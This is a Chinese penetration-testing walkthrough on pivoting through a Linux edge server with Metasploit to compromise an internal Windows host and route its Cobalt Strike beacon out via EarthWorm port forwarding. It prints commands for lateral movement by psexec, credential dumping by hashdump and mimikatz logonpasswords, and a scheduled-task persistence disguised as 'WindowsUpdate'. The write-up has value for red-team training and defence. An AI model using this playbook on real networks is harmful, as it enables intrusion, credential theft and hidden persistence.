内网不出网且边界主机为Linux的情况让内网windows主机通过MSF上线CS

内网不出网且边界主机为Linux的情况让内网windows主机通过MSF上线CS

0x00 前言

在一次内网渗透实战中,遇到了一个典型场景:边界服务器为Linux,内网Windows主机无法直接出网。原版Cobalt Strike(CS)的Beacon无法直接上线Linux主机并且懒得弄Linux插件,因此选择先用MSF拿下边界服务器,再通过MSF横向渗透到内网Windows主机,最后通过EW端口转发打通隧道,将Windows主机上线到CS,实现完整的C2控制链路。

本文记录完整的渗透思路与操作过程,希望对遇到类似场景的师傅们有所帮助。

0x01 环境说明

网络拓扑简图

text

┌─────────┐ ┌─────────────────┐ ┌─────────────────┐ │ 攻击机 │ ───▶ │ 边界Linux服务器 │ ───▶ │ 内网Windows主机 │ │ (Kali) │ │ (双网卡) │ │ (不出网) │ └─────────┘ └─────────────────┘ └─────────────────┘ 公网IP 公网IP/内网IP 内网IP

踩坑前提

项目说明
边界服务器Linux系统,拥有公网IP,同时可访问内网
内网Windows无法直接访问外网,但能与边界Linux通信
核心痛点Linux无法直接上线原版CS → 先走MSF;Windows无法出网 → 需要端口转发

0x02 第一阶段:拿下边界Linux服务器

入口点

通过前期信息收集,发现边界Linux服务器存在可利用漏洞(具体入口点略)。使用MSF成功获取边界服务器的Shell权限:

text

msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Sending stage (3012516 bytes) to x.x.x.x [*] Meterpreter session 1 opened

确认边界服务器为双网卡环境:

text

meterpreter > ifconfig Interface 1: eth0 (公网) Interface 2: eth1 (内网 172.16.1.0/24)

这意味着我们可以通过这台机器作为跳板机,访问内网资源。

0x03 第二阶段:内网探测与横向移动

添加内网路由

在MSF中通过边界服务器添加内网路由,使MSF能够访问内网段:

text

meterpreter > run autoroute -s 172.16.1.0/24 meterpreter > run autoroute -p Active Routing Table ==================== 172.16.1.0/24 Session 1

内网存活主机扫描

使用MSF的auxiliary模块探测内网存活主机和开放端口:

text

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 172.16.1.0/24 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389,80,22 msf6 auxiliary(scanner/portscan/tcp) > run

发现内网存在一台Windows主机(172.16.1.115),开放了445端口(SMB)和3389端口(RDP)。

尝试SMB横向移动

这里尝试通过MSF的SMB横向模块,使用密码喷洒或哈希传递的方式拿下内网Windows:

text

msf6 exploit(windows/smb/psexec) > set RHOSTS 172.16.1.115 msf6 exploit(windows/smb/psexec) > set SMBUser administrator msf6 exploit(windows/smb/psexec) > set SMBPass password123 msf6 exploit(windows/smb/psexec) > run

成功获取内网Windows主机的Meterpreter会话。

0x04 第三阶段:核心挑战——打通CS上线通道

问题分析

此时我们面临的核心问题是:

  1. 内网Windows主机无法直接访问外网,无法直接上线CS

  2. Linux边界服务器可以访问外网,但Linux无法运行原版CS Beacon(原版Beacon是Windows PE格式)

解决思路

text

内网Windows ──▶ 边界Linux(端口转发)──▶ 外网CS TeamServer

核心链路

  • 内网Windows连接边界Linux的某个端口

  • 边界Linux将该端口的流量转发到外网CS TeamServer的监听端口

  • 实现Beacon的上线

EW端口转发配置

选择使用EW(EarthWorm)在边界Linux上搭建端口转发隧道。

在边界Linux上传EW工具,启动端口转发:

bash

# 在边界Linux上执行 # 将本地5000端口流量转发到外网Kali的10000端口(CS监听端口) ./ew -s lcx_tran -l 5000 -a 172.16.1.115 -p 10000

参数解释

  • -s lcx_tran:指定端口转发模式

  • -l 5000:监听本地5000端口

  • -a 172.16.1.115:目标主机(也就是我本机Kali,但这里有个细节,后面会说)

🔥 踩坑点:转发的两种方式

在实际操作中,遇到了一个容易混淆的问题:谁监听、谁转发?

方案一:正向转发(我采用的方案)

text

内网Windows (连接) ──▶ 边界Linux:5000 ──▶ 外网Kali:10000 (CS监听)

边界Linux执行:

bash

./ew -s lcx_tran -l 5000 -a 外网Kali_IP -p 10000
  • -l 5000:边界Linux监听5000端口

  • -a 外网Kali_IP -p 10000:将流量转发到外网Kali的10000端口

内网Windows的Beacon配置:

  • LHOST = 边界Linux的IP(172.16.1.214)

  • LPORT = 5000

流量走向:Beacon连接边界Linux的5000端口 → 边界Linux转发到外网Kali的10000端口 → CS TeamServer接收

方案二:反向中继

另一种方式是通过MSF的portfwd做反向端口转发:

bash

# 在MSF中执行,将跳板机的5000端口流量转发到Kali的10000端口 portfwd add -R -p 5000 -L 172.16.1.115 -l 10000

含义:内网机器访问172.16.1.214:5000→ 流量转发到Kali:10000(CS监听端口)

内网Windows的Beacon同样配置 LHOST=172.16.1.214,LPORT=5000。

生成CS Payload

  1. 在CS中创建一个监听器(Listener)

    • 类型:Beacon HTTP/HTTPS

    • 监听端口:10000

    • 绑定IP:0.0.0.0(或Kali公网IP)

  2. 生成Windows可执行Beacon:

    • 在CS中生成Payload,LHOST填写边界Linux的内网IP(172.16.1.214)

    • LPORT填写5000

  3. 将生成的Beacon上传到内网Windows:

bash

# 通过MSF会话上传 meterpreter > upload /path/to/beacon.exe C:\\Users\\Public\\beacon.exe

成功上线

在内网Windows中执行Beacon,流量路径如下:

text

beacon.exe (内网Win) ──▶ 172.16.1.214:5000 ──▶ 外网Kali:10000 ──▶ CS TeamServer

CS界面中成功看到内网Windows主机上线:

text

[+] Beacon online: 172.16.1.115 (WIN-xxx) User: Administrator PID: 1234

0x05 后渗透阶段

抓取密码哈希

上线CS后,可以使用CS的hashdump命令抓取Windows主机的密码哈希:

text

beacon> hashdump Administrator:500:zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::

也可以通过mimikatz模块抓取明文密码:

text

beacon> mimikatz privilege::debug beacon> mimikatz sekurlsa::logonpasswords

SMB横向扩展

通过抓到的密码哈希,可以尝试SMB横向移动到内网其他主机:

text

beacon> link 172.16.1.xxx smb

权限维持

bash

# 创建计划任务 schtasks /create /tn "WindowsUpdate" /tr C:\path\beacon.exe /sc daily /st 09:00

0x06 关键知识点总结

1. 为什么Linux不能直接上线原版CS?

原版CS的Beacon是Windows PE格式,无法在Linux上运行。虽然CS支持Linux Beacon(通过CNA插件),但在实战中,许多团队仍习惯先走MSF,再通过MSF隧道打通CS通道。

2. EW端口转发的核心逻辑

方向命令格式适用场景
正向转发ew -s lcx_tran -l [本地端口] -a [目标IP] -p [目标端口]流量单向转发,内网→外网
反向代理ew -s lcx_listen -l [本地端口] -a [目标IP] -p [目标端口]服务端反向连接,多用于内网穿透

3. 内网穿透的几种常见方案

方案优点缺点
frp功能强大,支持多种协议需要配置文件,较为重量级
EW轻量级,单文件功能相对单一
MSF portfwd与MSF无缝集成仅限MSF会话内使用
SSH隧道Linux原生支持依赖SSH服务

0x07 写在最后

本次渗透的核心思路是:分层突破 + 隧道打通

  1. 分层突破:边界Linux → 内网Windows,每一步完成权限获取和信息收集

  2. 隧道打通:通过EW在边界Linux上搭建端口转发隧道,解决内网Windows不出网的问题

  3. C2统一:最终将所有主机纳入CS统一控管,实现完整的攻击链路

整个过程中最大的坑点在于:内网Windows的Beacon需要将LHOST配置为边界Linux的IP,而不是直接配置外网IP。这个思维转换是打通隧道的关键。

希望本文对正在学习内网渗透的师傅们有所帮助。


免责声明:本文仅供技术学习与交流,请勿用于非法用途。所有操作请在授权环境下进行。